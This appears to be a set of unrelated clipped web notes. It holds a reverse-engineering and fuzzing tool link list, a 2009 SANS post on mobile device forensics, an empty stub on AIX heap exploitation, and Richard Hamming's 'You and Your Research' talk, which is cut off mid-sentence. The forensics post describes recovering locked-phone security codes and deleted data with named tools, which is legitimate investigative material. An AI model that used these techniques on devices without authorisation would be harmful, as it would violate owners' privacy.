##  Random Testing \(Fuzzing\)

  * http://embed.cs.utah.edu/csmith/
  * https://code.google.com/p/american-fuzzy-lop/
  * https://bitbucket.org/blackaura/browserfuzz

##  Dynamic Analysis is an interpretation of the static semantics

  * https://github.com/mrmee/heaper
  * https://github.com/neuroo/runtime-tracer
  * https://github.com/CTSRD-SOAAP/taintgrind
  * https://minemu.org/mediawiki/index.php?title=Main\_Page
  * https://github.com/neuroo/runtime-tracer
  * https://github.com/wirepair/IDAPinLogger

###  To be categorized

  * https://github.com/pdasilva/vtrace\_scripts
  * https://github.com/rapid7/metasploit-framework/tree/master/external/source/byakugan
  * https://code.google.com/p/narly/
  * https://code.google.com/p/viscope/
  * https://github.com/isislab/Catfish
  * https://github.com/aaronportnoy/toolbag
  * http://www.rise4fun.com/
  * Apimonitor http://www.rohitab.com/apimonitor
  * efl32mod http://deroko.phearless.org/rce.html
  * Insight http://www.bttr-software.de/products/insight/
  * Malwasm https://code.google.com/p/malwasm/
  * pev http://pev.sourceforge.net/
  * mona.py http://redmine.corelan.be/projects/mona
  * http://mlsec.org/

##  Disassemblers & Debuggers

##  x86 only

  * Ollydbg http://www.ollydbg.de/
  * Immunity Debugger https://www.immunityinc.com/products-immdbg.shtml
  * Syser http://www.sysersoft.com/
  * GDB for Windows http://www.equation.com/servlet/equation.cmd?fa=gdb

##  x64

  * FDBG http://fdbg.x86asm.net/
  * Nanomite https://github.com/zer0fl4g/Nanomite
  * x64\_dbg https://bitbucket.org/mrexodia/x64\_dbg
  * ArkDasm http://www.arkdasm.com/
  * VirtDbg https://code.google.com/p/virtdbg/
  * BugDbg http://pespin.w.interia.pl/
  * MDebug http://www.mdebug.org/
  * Visual DuxDebugger http://www.duxcore.com/index.php/prod/visual-duxdebugger/overview
  * PEBrowseDbg64 Interactive http://www.smidgeonsoft.prohosting.com/pebrowse-pro-interactive-debugger.

##  Multi-Architecture

  * IDA Pro https://www.hex-rays.com/products/ida/
  * Hopper http://www.hopperapp.com/
  * radare http://radare.org
  * GUI: Bokken http://inguma.eu/projects/bokken
  * VDB http://visi.kenshoto.com/viki/Vdb
  * Frida https://github.com/frida
  * Online Disassembler \(ODA\) http://www.onlinedisassembler.com/odaweb/

##  Java

  * Procyon https://bitbucket.org/mstrobel/procyon
  * SecureTeam Java Decompiler http://www.secureteam.net/Java-Decompiler.aspx
  * Luyten https://github.com/deathmarine/Luyten
  * Krakatau Bytecode Tools https://github.com/Storyyeller/Krakatau
  * DJ Java Decompiler http://www.neshkov.com/
  * reJ http://rejava.sourceforge.net/
  * JSwat https://code.google.com/p/jswat/
  * Dr. Garbage Tools http://www.drgarbage.com/index.html
  * JD-GUI http://jd.benow.ca/
  * JAD http://en.wikipedia.org/wiki/JAD\_\(JAva\_Decompiler\)
  * dirtyJOE http://dirty-joe.com/

##  Decompilers

##  Type and Data Structure Recovering

  * Struct Builder: Tool commonly used in game hacking to reverse data structures. This tool is closed source. - http://www.mpcforum.com/showthread.php?128430-Release-StructBuild \#\# Miscellaneous Tools \#\# Binary Manipulation Frameworks

##  Deobfuscation/Unpacking

  * PROTECTiON iD: Detects most common application protectors. This tool is closed source. - http://pid.gamecopyworld.com/

##  Cryptography

##  Visualization

  * http://www2.in.tum.de/votum
  * http://worrydream.com/MediaForThinkingTheUnthinkable/
  * Cantor Dust - http://www.youtube.com/watch?v=4bM3Gut1hIk
  * GraphDice: A System for Exploring Multivariate Social Networks - http://www.aviz.fr/graphdice/
  * Gephi: Open Source Graph Visualization Platform - https://gephi.org/

##  Anti-Debugging / Anti-Reversing

#  Acknowledgements

  * https://events.ccc.de/congress/2013/wiki/Session:Binary\_Analysis
  * http://www.reddit.com/r/ReverseEngineering/comments/1pvqv5/program\_analysis\_technology\_additions\_and/cd6tmor

# SANS Computer Forensics, Investigation, and Response » Top 7 ways
investigators catch criminals using Mobile Device Forensics

**Created:**| _7/2/2009 4:27:04 PM_  
---|---  
**Updated:**| _7/2/2009 4:27:04 PM_  
**Author:**| __  
**Tags:**| __  
  

## Top 7 ways investigators catch criminals using Mobile Device Forensics

Posted by eoghancasey on July 1, 2009 – 11:59 am

Filed under Evidence Acquisition, Evidence Analysis, Mobile Device Forensics

Modern day mobile devices are a double-edged sword, creating new security
risks while providing valuable sources of evidence for digital forensic
investigators. Their ever expanding capabilities make mobile devices more like
personal computers that accompany us as we navigate the world. Digital
forensic investigators can use information stored on and generated by mobile
devices to reconstruct our movements, communications, and other personal
details.

If you need to extract information from cell phones, smart phones, and other
mobile devices, or are concerned about the security of data on such devices,
here are some important things you should know.

**Bypassing Security Codes** : Digital forensic investigators can extract the
security code from some locked mobile devices using specialized tools. The
screenshot below shows the security code “12345″ recovered from a Nokia 6230
using .XRY \(subscriber identifier redacted\). Being able to bypass security
mechanisms on a mobile device enables digital forensic investigators to
acquire data from the device with forensic software.

<img src='img/Temp2_7091.jpg' width='276' height='493' alt='Nokia 6230
security code recovered using .XRY' />

**Safe SIM Card** : Inserting the wrong SIM card into a cell phone destroys
some useful data in memory. To mitigate this issue, digital forensic
investigators can create “safe” SIM cards designed for forensic examination
purposes.

**Live Acquisition** : Removing the battery from a cell phone before
performing a forensic acquisition may destroy valuable evidence. In some
cases, to ensure that all available evidence is preserved, digital forensic
investigators will leave a mobile device powered on until a forensic
acquisition can be performed, taking precautions to prevent external
influences from altering data on the device.

**Trusted Time Source** : Even if the clock on the evidentiary device is
incorrect, some time stamps on the device may still be accurate because they
are generated by system on the core network. For instance, the time stamp in a
received SMS message is set by the Short Message Service Center, not by the
phone.

**Tracking Movements** : Some mobile devices store location-based information
associated with certain media and actions on the device. Digital forensic
investigators can recover this information to determine the geographic
location of the mobile device at a particular time. For instance, the
following screenshot shows Exif metadata extracted using JPEGsnoop from a
digital photograph taken using a G1 mobile device. This metadata includes the
date and time the photograph was taken and GPS coordinates of the location
\(location details redacted\).

<img src='img/Temp2_7092.jpg' width='494' height='707' alt='JPEGsnoop used to
extract Exif data from a GPS tagged digital photograph' />

**Recovering Deleted Data** : When the user clears the call log from a cell
phone, it may still be recoverable with relative ease. Therefore, even when
call logs are not displayed on the device, digital forensic investigators may
be able to view details about dialed, received, and missed calls on the device
using readily available tools.

**Getting Physical** : Digital forensic investigators can recover substantial
amounts of deleted data from an increasing number of mobile devices by
acquiring and analyzing the full contents of memory. This screenshot shows a
physical memory acquisition of a Nokia 6610 using the Sarasoft application via
a Twister flasher box.

<img src='img/Temp2_7093.jpg' width='816' height='425' alt='Physical memory
dump of Nokia 6610 using Twister flasher box and Sarasoft' />

Deleted data like photographs, call logs, and traces of user activities
\(e.g., Web browsing and file viewing\) recovered from a mobile device can
provide digital forensic investigators with some of the most useful and
incriminating evidence in a case.

To learn how to perform these and other Mobile Device Forensics techniques,
joins us for the debut of SEC563 Mobile Device Forensics in Baltimore, July 27
- 31 \(register here\). This is an intensive technical course with plenty of
hands-on exercises to familiarize you with the inner workings of various
mobile devices and show you the benefits and limitations of various approaches
and tools. We not only demonstrate state-of-the-art mobile forensic tools and
techniques, we peel back the layers of digital evidence on mobile devices to
show what is going on behind the scenes. In this way, you obtain a deeper
knowledge of the information you rely on when investigating cases involving
mobile devices.

<img src='img/Temp2_7094.jpg' width='785' height='90' alt='SEC563 - Mobile
Device Forensics' />

_Eoghan Casey is founding partner of cmdLabs \(http://www.cmdlabs.com/\) ,
author of the foundational book Digital Evidence and Computer Crime, and
coauthor of Malware Forensics. He has been involved in a wide range of digital
investigations, including network intrusions, fraud, violent crimes, identity
theft, and on-line criminal activity. He has testified in civil and criminal
cases, and has submitted expert reports and prepared trial exhibits for
computer forensic and cyber-crime cases._

| | Buzz up\!vote now  
---|---|---  
Permalink|Comments RSS Feed - Post a comment|Trackback URL.

### 5 Comments

  1. johnmccash
Posted July 1, 2009 at 2:43 pm | Permalink
Could you post a reference link for that Sarasoft tool? I assume it’s not
freeware?  
Thanks  
John

  *[July 1, 2009 – 11:59 am]: 2009-07-01T11:59:50+0000

# Advanced IBM AIX Heap Exploitation

**Created:**| _8/13/2010 11:50:12 AM_  
---|---  
**Updated:**| _8/13/2010 11:50:30 AM_  
**Author:**| __  
**Tags:**| _Exploit papers reversing Heap_  
  
<img src='img/Temp2_490' />

# Richard Hamming: You and Your Research

**Created:**| _3/24/2010 10:07:54 AM_  
---|---  
**Updated:**| _3/24/2010 10:08:06 AM_  
**Author:**| __  
**Tags:**| _bookmark research_  
  
<img src='img/Temp2_6998.gif' width='49' height='357' />| <img
src='img/Temp2_6995.gif' width='26' height='1' />| <img
src='img/Temp2_6996.gif' width='410' height='45' />  
  
| <img src='img/Temp2_6997.gif' width='332' height='18' alt='Richard Hamming:
You and Your Research' />  
  
Talk at Bellcore, 7 March 1986  
  
The title of my talk is, \`\`You and Your Research.'' It is not about managing
research, it is about how you individually do your research. I could give a
talk on the other subject-- but it's not, it's about you. I'm not talking
about ordinary run-of-the-mill research; I'm talking about great research. And
for the sake of describing great research I'll occasionally say Nobel-Prize
type of work. It doesn't have to gain the Nobel Prize, but I mean those kinds
of things which we perceive are significant things. Relativity, if you want,
Shannon's information theory, any number of outstanding theories-- that's the
kind of thing I'm talking about.  
  
Now, how did I come to do this study? At Los Alamos I was brought in to run
the computing machines which other people had got going, so those scientists
and physicists could get back to business. I saw I was a stooge. I saw that
although physically I was the same, they were different. And to put the thing
bluntly, I was envious. I wanted to know why they were so different from me. I
saw Feynman up close. I saw Fermi and Teller. I saw Oppenheimer. I saw Hans
Bethe: he was my boss. I saw quite a few very capable people. I became very
interested in the difference between those who do and those who might have
done.  
  
When I came to Bell Labs, I came into a very productive department. Bode was
the department head at the time; Shannon was there, and there were other
people. I continued examining the questions, \`\`Why?'' and \`\`What is the
difference?'' I continued subsequently by reading biographies,
autobiographies, asking people questions such as: \`\`How did you come to do
this?'' I tried to find out what are the differences. And that's what this
talk is about.  
  
Now, why is this talk important? I think it is important because, as far as I
know, each of you has one life to live. Even if you believe in reincarnation
it doesn't do you any good from one life to the next\! Why shouldn't you do
significant things in this one life, however you define significant? I'm not
going to define it - you know what I mean. I will talk mainly about science
because that is what I have studied. But so far as I know, and I've been told
by others, much of what I say applies to many fields. Outstanding work is
characterized very much the same way in most fields, but I will confine myself
to science.  
  
In order to get at you individually, I must talk in the first person. I have
to get you to drop modesty and say to yourself, \`\`Yes, I would like to do
first-class work.'' Our society frowns on people who set out to do really good
work. You're not supposed to; luck is supposed to descend on you and you do
great things by chance. Well, that's a kind of dumb thing to say. I say, why
shouldn't you set out to do something significant. You don't have to tell
other people, but shouldn't you say to yourself, \`\`Yes, I would like to do
something significant.''  
  
In order to get to the second stage, I have to drop modesty and talk in the
first person about what I've seen, what I've done, and what I've heard. I'm
going to talk about people, some of whom you know, and I trust that when we
leave, you won't quote me as saying some of the things I said.  
  
Let me start not logically, but psychologically. I find that the major
objection is that people think great science is done by luck. It's all a
matter of luck. Well, consider Einstein. Note how many different things he did
that were good. Was it all luck? Wasn't it a little too repetitive? Consider
Shannon. He didn't do just information theory. Several years before, he did
some other good things and some which are still locked up in the security of
cryptography. He did many good things.  
  
You see again and again, that it is more than one thing from a good person.
Once in a while a person does only one thing in his whole life, and we'll talk
about that later, but a lot of times there is repetition. I claim that luck
will not cover everything. And I will cite Pasteur who said, \`\`Luck favors
the prepared mind.'' And I think that says it the way I believe it. There is
indeed an element of luck, and no, there isn't. The prepared mind sooner or
later finds something important and does it. So yes, it is luck. The
particular thing you do is luck, but that you do something is not.  
  
For example, when I came to Bell Labs, I shared an office for a while with
Shannon. At the same time he was doing information theory, I was doing coding
theory. It is suspicious that the two of us did it at the same place and at
the same time - it was in the atmosphere. And you can say, \`\`Yes, it was
luck.'' On the other hand you can say, \`\`But why of all the people in Bell
Labs then were those the two who did it?'' Yes, it is partly luck, and partly
it is the prepared mind; but \`partly' is the other thing I'm going to talk
about. So, although I'll come back several more times to luck, I want to
dispose of this matter of luck as being the sole criterion whether you do
great work or not. I claim you have some, but not total, control over it. And
I will quote, finally, Newton on the matter. Newton said, \`\`If others would
think as hard as I did, then they would get similar results.''  
  
One of the characteristics you see, and many people have it including great
scientists, is that usually when they were young they had independent thoughts
and had the courage to pursue them. For example, Einstein, somewhere around 12
or 14, asked himself the question, \`\`What would a light wave look like if I
went with the velocity of light to look at it?'' Now he knew that
electromagnetic theory says you cannot have a stationary local maximum. But if
he moved along with the velocity of light, he would see a local maximum. He
could see a contradiction at the age of 12, 14, or somewhere around there,
that everything was not right and that the velocity of light had something
peculiar. Is it luck that he finally created special relativity? Early on, he
had laid down some of the pieces by thinking of the fragments. Now that's the
necessary but not sufficient condition. All of these items I will talk about
are both luck and not luck.  
  
How about having lots of \`brains?' It sounds good. Most of you in this room
probably have more than enough brains to do first-class work. But great work
is something else than mere brains. Brains are measured in various ways. In
mathematics, theoretical physics, astrophysics, typically brains correlates to
a great extent with the ability to manipulate symbols. And so the typical IQ
test is apt to score them fairly high. On the other hand, in other fields it
is something different. For example, Bill Pfann, the fellow who did zone
melting, came into my office one day. He had this idea dimly in his mind about
what he wanted and he had some equations. It was pretty clear to me that this
man didn't know much mathematics and he wasn't really articulate. His problem
seemed interesting so I took it home and did a little work. I finally showed
him how to run computers so he could compute his own answers. I gave him the
power to compute. He went ahead, with negligible recognition from his own
department, but ultimately he has collected all the prizes in the field. Once
he got well started, his shyness, his awkwardness, his inarticulateness, fell
away and he became much more productive in many other ways. Certainly he
became much more articulate.  
  
And I can cite another person in the same way. I trust he isn't in the
audience, i.e. a fellow named Clogston. I met him when I was working on a
problem with John Pierce's group and I didn't think he had much. I asked my
friends who had been with him at school, \`\`Was he like that in graduate
school?'' \`\`Yes,'' they replied. Well I would have fired the fellow, but J.
R. Pierce was smart and kept him on. Clogston finally did the Clogston cable.
After that there was a steady stream of good ideas. One success brought him
confidence and courage.  
  
One of the characteristics of successful scientists is having courage. Once
you get your courage up and believe that you can do important problems, then
you can. If you think you can't, almost surely you are not going to. Courage
is one of the things that Shannon had supremely. You have only to think of his
major theorem. He wants to create a method of coding, but he doesn't know what
to do so he makes a random code. Then he is stuck. And then he asks the
impossible question, \`\`What would the average random code do?'' He then
proves that the average code is arbitrarily good, and that therefore there
must be at least one good code. Who but a man of infinite courage could have
dared to think those thoughts? That is the characteristic of great scientists;
they have courage. They will go forward under incredible circumstances; they
think and continue to think.  
  
Age is another factor which the physicists particularly worry about. They
always are saying that you have got to do it when you are young or you will
never do it. Einstein did things very early, and all the quantum mechanic
fellows were disgustingly young when they did their best work. Most
mathematicians, theoretical physicists, and astrophysicists do what we
consider their best work when they are young. It is not that they don't do
good work in their old age but what we value most is often what they did
early. On the other hand, in music, politics and literature, often what we
consider their best work was done late. I don't know how whatever field you
are in fits this scale, but age has some effect.  
  
But let me say why age seems to have the effect it does. In the first place if
you do some good work you will find yourself on all kinds of committees and
unable to do any more work. You may find yourself as I saw Brattain when he
got a Nobel Prize. The day the prize was announced we all assembled in Arnold
Auditorium; all three winners got up and made speeches. The third one,
Brattain, practically with tears in his eyes, said, \`\`I know about this
Nobel-Prize effect and I am not going to let it affect me; I am going to
remain good old Walter Brattain.'' Well I said to myself, \`\`That is nice.''
But in a few weeks I saw it was affecting him. Now he could only work on great
problems.  
  
When you are famous it is hard to work on small problems. This is what did
Shannon in. After information theory, what do you do for an encore? The great
scientists often make this error. They fail to continue to plant the little
acorns from which the mighty oak trees grow. They try to get the big thing
right off. And that isn't the way things go. So that is another reason why you
find that when you get early recognition it seems to sterilize you. In fact I
will give you my favorite quotation of many years. The Institute for Advanced
Study in Princeton, in my opinion, has ruined more good scientists than any
institution has created, judged by what they did before they came and judged
by what they did after. Not that they weren't good afterwards, but they were
superb before they got there and were only good afterwards.  
  
This brings up the subject, out of order perhaps, of working conditions. What
most people think are the best working conditions, are not. Very clearly they
are not because people are often most productive when working conditions are
bad. One of the better times of the Cambridge Physical Laboratories was when
they had practically shacks - they did some of the best physics ever.  
  
I give you a story from my own private life. Early on it became evident to me
that Bell Laboratories was not going to give me the conventional acre of
programming people to program computing machines in absolute binary. It was
clear they weren't going to. But that was the way everybody did it. I could go
to the West Coast and get a job with the airplane companies without any
trouble, but the exciting people were at Bell Labs and the fellows out there
in the airplane companies were not. I thought for a long while about, \`\`Did
I want to go or not?'' and I wondered how I could get the best of two possible
worlds. I finally said to myself, \`\`Hamming, you think the machines can do
practically everything. Why can't you make them write programs?'' What
appeared at first to me as a defect forced me into automatic programming very
early. What appears to be a fault, often, by a change of viewpoint, turns out
to be one of the greatest assets you can have. But you are not likely to think
that when you first look the thing and say, \`\`Gee, I'm never going to get
enough programmers, so how can I ever do any great programming?''  
  
And there are many other stories of the same kind; Grace Hopper has similar
ones. I think that if you look carefully you will see that often the great
scientists, by turning the problem around a bit, changed a defect to an asset.
For example, many scientists when they found they couldn't do a problem
finally began to study why not. They then turned it around the other way and
said, \`\`But of course, this is what it is'' and got an important result. So
ideal working conditions are very strange. The ones you want aren't always the
best ones for you.  
  
Now for the matter of drive. You observe that most great scientists have
tremendous drive. I worked for ten years with John Tukey at Bell Labs. He had
tremendous drive. One day about three or four years after I joined, I
discovered that John Tukey was slightly younger than I was. John was a genius
and I clearly was not. Well I went storming into Bode's office and said,
\`\`How can anybody my age know as much as John Tukey does?'' He leaned back
in his chair, put his hands behind his head, grinned slightly, and said,
\`\`You would be surprised Hamming, how much you would know if you worked as
hard as he did that many years.'' I simply slunk out of the office\!  
  
What Bode was saying was this: \`\`Knowledge and productivity are like
compound interest.'' Given two people of approximately the same ability and
one person who works ten percent more than the other, the latter will more
than twice outproduce the former. The more you know, the more you learn; the
more you learn, the more you can do; the more you can do, the more the
opportunity - it is very much like compound interest. I don't want to give you
a rate, but it is a very high rate. Given two people with exactly the same
ability, the one person who manages day in and day out to get in one more hour
of thinking will be tremendously more productive over a lifetime. I took
Bode's remark to heart; I spent a good deal more of my time for some years
trying to work a bit harder and I found, in fact, I could get more work done.
I don't like to say it in front of my wife, but I did sort of neglect her
sometimes; I needed to study. You have to neglect things if you intend to get
what you want done. There's no question about this.  
  
On this matter of drive Edison says, \`\`Genius is 99% perspiration and 1%
inspiration.'' He may have been exaggerating, but the idea is that solid work,
steadily applied, gets you surprisingly far. The steady application of effort
with a little bit more work, intelligently applied is what does it. That's the
trouble; drive, misapplied, doesn't get you anywhere. I've often wondered why
so many of my good friends at Bell Labs who worked as hard or harder than I
did, didn't have so much to show for it. The misapplication of effort is a
very serious matter. Just hard work is not enough - it must be applied
sensibly.  
  
There's another trait on the side which I want to talk about; that trait is
ambiguity. It took me a while to discover its importance. Most people like to
believe something is or is not true. Great scientists tolerate ambiguity very
well. They believe the theory enough to go ahead; they doubt it enough to
notice the errors and faults so they can step forward and create the new
replacement theory. If you believe too much you'll never notice the flaws; if
you doubt too much you won't get started. It requires a lovely balance. But
most great scientists are well aware of why their theories are true and they
are also well aware of some slight misfits which don't quite fit and they
don't forget it. Darwin writes in his autobiography that he found it necessary
to write down every piece of evidence which appeared to contradict his beliefs
because otherwise they would disappear from his mind. When you find apparent
flaws you've got to be sensitive and keep track of those things, and keep an
eye out for how they can be explained or how the theory can be changed to fit
them. Those are often the great contributions. Great contributions are rarely
done by adding another decimal place. It comes down to an emotional
commitment. Most great scientists are completely committed to their problem.
Those who don't become committed seldom produce outstanding, first-class work.  
  
Now again, emotional commitment is not enough. It is a necessary condition
apparently. And I think I can tell you the reason why. Everybody who has
studied creativity is driven finally to saying, \`\`creativity comes out of
your subconscious.'' Somehow, suddenly, there it is. It just appears. Well, we
know very little about the subconscious; but one thing you are pretty well
aware of is that your dreams also come out of your subconscious. And you're
aware your dreams are, to a fair extent, a reworking of the experiences of the
day. If you are deeply immersed and committed to a topic, day after day after
day, your subconscious has nothing to do but work on your problem. And so you
wake up one morning, or on some afternoon, and there's the answer. For those
who don't get committed to their current problem, the subconscious goofs off
on other things and doesn't produce the big result. So the way to manage
yourself is that when you have a real important problem you don't let anything
else get the center of your attention - you keep your thoughts on the problem.
Keep your subconscious starved so it has to work on your problem, so you can
sleep peacefully and get the answer in the morning, free.  
  
Now Alan Chynoweth mentioned that I used to eat at the physics table. I had
been eating with the mathematicians and I found out that I already knew a fair
amount of mathematics; in fact, I wasn't learning much. The physics table was,
as he said, an exciting place, but I think he exaggerated on how much I
contributed. It was very interesting to listen to Shockley, Brattain, Bardeen,
J. B. Johnson, Ken McKay and other people, and I was learning a lot. But
unfortunately a Nobel Prize came, and a promotion came, and what was left was
the dregs. Nobody wanted what was left. Well, there was no use eating with
them\!  
  
Over on the other side of the dining hall was a chemistry table. I had worked
with one of the fellows, Dave McCall; furthermore he was courting our
secretary at the time. I went over and said, \`\`Do you mind if I join you?''
They can't say no, so I started eating with them for a while. And I started
asking, \`\`What are the important problems of your field?'' And after a week
or so, \`\`What important problems are you working on?'' And after some more
time I came in one day and said, \`\`If what you are doing is not important,
and if you don't think it is going to lead to something important, why are you
at Bell Labs working on it?'' I wasn't welcomed after that; I had to find
somebody else to eat with\! That was in the spring.  
  
In the fall, Dave McCall stopped me in the hall and said, \`\`Hamming, that
remark of yours got underneath my skin. I thought about it all summer, i.e.
what were the important problems in my field. I haven't changed my research,''
he says, \`\`but I think it was well worthwhile.'' And I said, \`\`Thank you
Dave,'' and went on. I noticed a couple of months later he was made the head
of the department. I noticed the other day he was a Member of the National
Academy of Engineering. I noticed he has succeeded. I have never heard the
names of any of the other fellows at that table mentioned in science and
scientific circles. They were unable to ask themselves, \`\`What are the
important problems in my field?''  
  
If you do not work on an important problem, it's unlikely you'll do important
work. It's perfectly obvious. Great scientists have thought through, in a
careful way, a number of important problems in their field, and they keep an
eye on wondering how to attack them. Let me warn you, \`important problem'
must be phrased carefully. The three outstanding problems in physics, in a
certain sense, were never worked on while I was at Bell Labs. By important I
mean guaranteed a Nobel Prize and any sum of money you want to mention. We
didn't work on \(1\) time travel, \(2\) teleportation, and \(3\) antigravity.
They are not important problems because we do not have an attack. It's not the
consequence that makes a problem important, it is that you have a reasonable
attack. That is what makes a problem important. When I say that most
scientists don't work on important problems, I mean it in that sense. The
average scientist, so far as I can make out, spends almost all his time
working on problems which he believes will not be important and he also
doesn't believe that they will lead to important problems.  
  
I spoke earlier about planting acorns so that oaks will grow. You can't always
know exactly where to be, but you can keep active in places where something
might happen. And even if you believe that great science is a matter of luck,
you can stand on a mountain top where lightning strikes; you don't have to
hide in the valley where you're safe. But the average scientist does routine
safe work almost all the time and so he \(or she\) doesn't produce much. It's
that simple. If you want to do great work, you clearly must work on important
problems, and you should have an idea.  
  
Along those lines at some urging from John Tukey and others, I finally adopted
what I called \`\`Great Thoughts Time.'' When I went to lunch Friday noon, I
would only discuss great thoughts after that. By great thoughts I mean ones
like: \`\`What will be the role of computers in all of AT&T?'', \`\`How will
computers change science?'' For example, I came up with the observation at
that time that nine out of ten experiments were done in the lab and one in ten
on the computer. I made a remark to the vice presidents one time, that it
would be reversed, i.e. nine out of ten experiments would be done on the
computer and one in ten in the lab. They knew I was a crazy mathematician and
had no sense of reality. I knew they were wrong and they've been proved wrong
while I have been proved right. They built laboratories when they didn't need
them. I saw that computers were transforming science because I spent a lot of
time asking \`\`What will be the impact of computers on science and how can I
change it?'' I asked myself, \`\`How is it going to change Bell Labs?'' I
remarked one time, in the same address, that more than one-half of the people
at Bell Labs will be interacting closely with computing machines before I
leave. Well, you all have terminals now. I thought hard about where was my
field going, where were the opportunities, and what were the important things
to do. Let me go there so there is a chance I can do important things.  
  
Most great scientists know many important problems. They have something
between 10 and 20 important problems for which they are looking for an attack.
And when they see a new idea come up, one hears them say \`\`Well that bears
on this problem.'' They drop all the other things and get after it. Now I can
tell you a horror story that was told to me but I can't vouch for the truth of
it. I was sitting in an airport talking to a friend of mine from Los Alamos
about how it was lucky that the fission experiment occurred over in Europe
when it did because that got us working on the atomic bomb here in the US. He
said \`\`No; at Berkeley we had gathered a bunch of data; we didn't get around
to reducing it because we were building some more equipment, but if we had
reduced that data we would have found fission.'' They had it in their hands
and they didn't pursue it. They came in second\!  
  
The great scientists, when an opportunity opens up, get after it and they
pursue it. They drop all other things. They get rid of other things and they
get after an idea because they had already thought the thing through. Their
minds are prepared; they see the opportunity and they go after it. Now of
course lots of times it doesn't work out, but you don't have to hit many of
them to do some great science. It's kind of easy. One of the chief tricks is
to live a long time\!  
  
Another trait, it took me a while to notice. I noticed the following facts
about people who work with the door open or the door closed. I notice that if
you have the door to your office closed, you get more work done today and
tomorrow, and you are more productive than most. But 10 years later somehow
you don't know quite know what problems are worth working on; all the hard
work you do is sort of tangential in importance. He who works with the door
open gets all kinds of interruptions, but he also occasionally gets clues as
to what the world is and what might be important. Now I cannot prove the cause
and effect sequence because you might say, \`\`The closed door is symbolic of
a closed mind.'' I don't know. But I can say there is a pretty good
correlation between those who work with the doors open and those who
ultimately do important things, although people who work with doors closed
often work harder. Somehow they seem to work on slightly the wrong thing - not
much, but enough that they miss fame.  
  
I want to talk on another topic. It is based on the song which I think many of
you know, \`\`It ain't what you do, it's the way that you do it.'' I'll start
with an example of my own. I was conned into doing on a digital computer, in
the absolute binary days, a problem which the best analog computers couldn't
do. And I was getting an answer. When I thought carefully and said to myself,
\`\`You know, Hamming, you're going to have to file a report on this military
job; after you spend a lot of money you're going to have to account for it and
every analog installation is going to want the report to see if they can't
find flaws in it.'' I was doing the required integration by a rather crummy
method, to say the least, but I was getting the answer. And I realized that in
truth the problem was not just to get the answer; it was to demonstrate for
the first time, and beyond question, that I could beat the analog computer on
its own ground with a digital machine. I reworked the method of solution,
created a theory which was nice and elegant, and changed the way we computed
the answer; the results were no different. The published report had an elegant
method which was later known for years as \`\`Hamming's Method of Integrating
Differential Equations.'' It is somewhat obsolete now, but for a while it was
a very good method. By changing the problem slightly, I did important work
rather than trivial work.  
  
In the same way, when using the machine up in the attic in the early days, I
was solving one problem after another after another; a fair number were
successful and there were a few failures. I went home one Friday after
finishing a problem, and curiously enough I wasn't happy; I was depressed. I
could see life being a long sequence of one problem after another after
another. After quite a while of thinking I decided, \`\`No, I should be in the
mass production of a variable product. I should be concerned with all of next
year's problems, not just the one in front of my face.'' By changing the
question I still got the same kind of results or better, but I changed things
and did important work. I attacked the major problem - How do I conquer
machines and do all of next year's problems when I don't know what they are
going to be? How do I prepare for it? How do I do this one so I'll be on top
of it? How do I obey Newton's rule? He said, \`\`If I have seen further than
others, it is because I've stood on the shoulders of giants.'' These days we
stand on each other's feet\!  
  
You should do your job in such a fashion that others can build on top of it,
so they will indeed say, \`\`Yes, I've stood on so and so's shoulders and I
saw further.'' The essence of science is cumulative. By changing a problem
slightly you can often do great work rather than merely good work. Instead of
attacking isolated problems, I made the resolution that I would never again
solve an isolated problem except as characteristic of a class.  
  
Now if you are much of a mathematician you know that the effort to generalize
often means that the solution is simple. Often by stopping and saying,
\`\`This is the problem he wants but this is characteristic of so and so. Yes,
I can attack the whole class with a far superior method than the particular
one because I was earlier embedded in needless detail.'' The business of
abstraction frequently makes things simple. Furthermore, I filed away the
methods and prepared for the future problems.  
  
To end this part, I'll remind you, \`\`It is a poor workman who blames his
tools - the good man gets on with the job, given what he's got, and gets the
best answer he can.'' And I suggest that by altering the problem, by looking
at the thing differently, you can make a great deal of difference in your
final productivity because you can either do it in such a fashion that people
can indeed build on what you've done, or you can do it in such a fashion that
the next person has to essentially duplicate again what you've done. It isn't
just a matter of the job, it's the way you write the report, the way you write
the paper, the whole attitude. It's just as easy to do a broad, general job as
one very special case. And it's much more satisfying and rewarding\!  
  
I have now come down to a topic which is very distasteful; it is not
sufficient to do a job, you have to sell it. \`Selling' to a scientist is an
awkward thing to do. It's very ugly; you shouldn't have to do it. The world is
supposed to be waiting, and when you do something great, they should rush out
and welcome it. But the fact is everyone is busy with their own work. You must
present it so well that they will set aside what they are doing, look at what
you've done, read it, and come back and say, \`\`Yes, that was good.'' I
suggest that when you open a journal, as you turn the pages, you ask why you
read some articles and not others. You had better write your report so when it
is published in the Physical Review, or wherever else you want it, as the
readers are turning the pages they won't just turn your pages but they will
stop and read yours. If they don't stop and read it, you won't get credit.  
  
There are three things you have to do in selling. You have to learn to write
clearly and well so that people will read it, you must learn to give
reasonably formal talks, and you also must learn to give informal talks. We
had a lot of so-called \`back room scientists.' In a conference, they would
keep quiet. Three weeks later after a decision was made they filed a report
saying why you should do so and so. Well, it was too late. They would not
stand up right in the middle of a hot conference, in the middle of activity,
and say, \`\`We should do this for these reasons.'' You need to master that
form of communication as well as prepared speeches.  
  
When I first started, I got practically physically ill while giving a speech,
and I was very, very nervous. I realized I either had to learn to give
speeches smoothly or I would essentially partially cripple my whole career.
The first time IBM asked me to give a speech in New York one evening, I
decided I was going to give a really good speech, a speech that was wanted,
not a technical one but a broad one, and at the end if they liked it, I'd
quietly say, \`\`Any time you want one I'll come in and give you one.'' As a
result, I got a great deal of practice giving speeches to a limited audience
and I got over being afraid. Furthermore, I could also then study what methods
were effective and what were ineffective.  
  
While going to meetings I had already been studying why some papers are
remembered and most are not. The technical person wants to give a highly
limited technical talk. Most of the time the audience wants a broad general
talk and wants much more survey and background than the speaker is willing to
give. As a result, many talks are ineffective. The speaker names a topic and
suddenly plunges into the details he's solved. Few people in the audience may
follow. You should paint a general picture to say why it's important, and then
slowly give a sketch of what was done. Then a larger number of people will
say, \`\`Yes, Joe has done that,'' or \`\`Mary has done that; I really see
where it is; yes, Mary really gave a good talk; I understand what Mary has
done.'' The tendency is to give a highly restricted, safe talk; this is
usually ineffective. Furthermore, many talks are filled with far too much
information. So I say this idea of selling is obvious.  
  
Let me summarize. You've got to work on important problems. I deny that it is
all luck, but I admit there is a fair element of luck. I subscribe to
Pasteur's \`\`Luck favors the prepared mind.'' I favor heavily what I did.
Friday afternoons for years - great thoughts only - means that I committed 10%
of my time trying to understand the bigger problems in the field, i.e. what
